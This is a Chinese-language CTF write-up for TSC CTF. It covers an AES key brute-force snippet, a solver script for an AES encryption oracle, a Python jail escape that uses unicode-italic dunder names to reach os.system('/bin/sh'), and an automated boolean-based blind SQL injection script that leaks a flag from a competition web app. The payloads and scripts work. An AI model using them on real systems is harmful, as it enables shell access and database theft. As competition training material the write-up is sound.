hashes[0] = 1934
hashes[1] = 22627
hashes[2] = 36616
hashes[3] = 21343
ciphertext = b'z\xa5\xa5\x1d\xe5\xd2I\xb1\x15\xec\x95\x8b^\xb6:r=\xe3h\x06-\xe9\x01\xda\xc03\xa4\xf6\xa8_\x8c\x12!MZP\x17O\xee\xa3\x0f\x05\x0b\xea7cnP'

key = 0
b= 2**16

for i in range(p):

key=((((((((i*b)+14592)*b)+15642)*b)+9859)*b)+21343)*b
key = pad(long_to_bytes(key), 16)
# Decrypt the ciphertext
aes = AES.new(key, AES.MODE_ECB)
decrypted_flag = aes.decrypt(ciphertext)
if b'TSC{' in decrypted_flag:
print(decrypted_flag)

AES Encryption Oracle

難的是寫腳本
知道這張圖在幹嘛就行

image
image

我們可以 leak 相鄰兩個 block 及 flag
所以只要 第 n 個block(第一個是 IV,之後是 C) xor DEC(第 n+1 個block, key) = m

image
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python3
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend
from pwn import *
import os
import ast

def aes_cbc_decrypt(encrypted_msg: bytes, key: bytes) -> bytes:
"""
Decrypts a message encrypted using AES in CBC mode.

Parameters:
encrypted_msg (bytes): The encrypted message (IV + ciphertext).
key (bytes): The decryption key (must be 16, 24, or 32 bytes long).

Returns:
bytes: The original plaintext message.
"""
if len(key) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long.")

# Extract the IV (first 16 bytes) and ciphertext (remaining bytes)
iv = encrypted_msg[:16]
ciphertext = encrypted_msg[16:]

# Create the AES cipher in CBC mode
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()

# Decrypt the ciphertext
padded_msg = decryptor.update(ciphertext) + decryptor.finalize()

# Remove padding from the decrypted message
# unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
# msg = unpadder.update(padded_msg) + unpadder.finalize()

return padded_msg

def convert_to_bytes(inputstr):
# 使用 ast.literal_eval 來解析字串中的轉義序列
return ast.literal_eval(f"b'{inputstr}'")

def main():
round = 0
cnt_end = 0
while True:
try:
print(round)
prev_round = round
print(f"===== ROUND {round//16} AND block {round} =====")
r = remote("172.31.2.2",36363)

r.sendlineafter(b'What do you want to know? ',str(round).encode())

aaa = r.recvline().split(b"= b")[1].strip()[1:-1].decode()

key = convert_to_bytes(aaa)
print('key = ',key)
print('key length = ',len(key))

k = r.recvline()
print(k)
aaa = k.split(b"= b")[1].strip()[1:-1].decode()
ciphertext = convert_to_bytes(aaa)

if prev_round != round:
cnt_end = 0

if len(ciphertext) == 0:
if cnt_end == 5:
print("////////////// end /////////////////")
print(round)
print(ciphertext)
print("////////////// end /////////////////")
break
if prev_round == round:
cnt_end += 1
continue



print('ciphertext = ',ciphertext)
print('ciphertext length = ',len(ciphertext))

IV = ciphertext[:16]
C = ciphertext[16:]

print(f"IV = ",IV)
print(f"C = ",C)

m = aes_cbc_decrypt(ciphertext,key)
print(bytearray(m))

with open('a.jpeg', 'ab') as f:
f.write(m)

f.close()

with open('backup.txt', 'ab') as aaa:
aaa.write(bytearray(m))

aaa.close()

r.clean()
r.close()
round += 16

time.sleep(0.1)
except Exception as e:
print("**********something error start**************")
time.sleep(0.1)
print(f"Error: {e}")
r.clean()
r.close()
print("**********something error end**************")



if __name__ == "__main__":
main()

Misc

calc

No builtins 跟過濾 []
用這條 chain + getitem + unicode 就可以了

https://lingojam.com/ItalicTextGenerator

1
().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__.__𝘨𝘦𝘵𝘪𝘵𝘦𝘮__(-1).__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__().__𝘨𝘦𝘵𝘪𝘵𝘦𝘮__(121).𝘭𝘰𝘢𝘥_𝘮𝘰𝘥𝘶𝘭𝘦("\157\163").𝘴𝘺𝘴𝘵𝘦𝘮("\57\142\151\156\57\163\150")

Web

E4sy SQLi

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/customize/<product_id>')
@check_db_connection
@csrf.exempt
def customize_product(product_id):
if 'user_id' not in session:
return redirect(url_for('login'))

try:
cursor = db.cursor(dictionary=True)

# 獲取基礎產品信息
cursor.execute(f"SELECT * FROM products WHERE id = {product_id}")

這裡有 SQL injection 問題,通過看前端會不會被重新導向來確認 flag 是否正確,一個一個 leak,也就是 SQLinjection Boolean base leak flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
from bs4 import BeautifulSoup
import time
import string
BASE_URL = "http://d112027dafd54b089ead4a09e07d1a2f0.e4sy-sqli.tscctf.com:8999"
REGISTER_URL = f"{BASE_URL}/register"
LOGIN_URL = f"{BASE_URL}/login"

session = requests.Session()

def get_csrf_token(url):
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
return csrf_token


def register(username, password, email):
csrf_token = get_csrf_token(REGISTER_URL)
data = {
'username': username,
'password': password,
'email': email,
'csrf_token': csrf_token
}

response = session.post(REGISTER_URL, data=data)

if response.status_code == 200 and '註冊成功' in response.text:
print("register success")
else:
print("register failed")
print(response.text)

def login(username, password):
csrf_token = get_csrf_token(LOGIN_URL)
data = {
'username': username,
'password': password,
'csrf_token': csrf_token
}

response = session.post(LOGIN_URL, data=data)

if response.status_code == 200 and '登入成功' in response.text:
print("login success")
else:
print("login failed")
print(response.text)

def exploit():
result = []
flag = "TSC{"
while True:
for i in string.ascii_lowercase+string.digits+string.ascii_uppercase+"_":
payload = f'{BASE_URL}/customize/1%20AND%20EXISTS%20%28SELECT%201%20FROM%20discount_codes%20WHERE%20code%20LIKE%20BINARY%20%22{flag + i}%25")'
respond = session.get(payload)
if "15.6吋多功能筆電,AMD處理器" not in respond.text:

flag += i
print("FLAG: ",flag)

break


if __name__ == "__main__":
username = "naup"
password = "naup96321"
register(username, password, "naup@example.com")
login(username, password)

exploit()

after all

打的很開心,題目很好玩,雖然沒有辦法打有獎金賽區很可惜QQ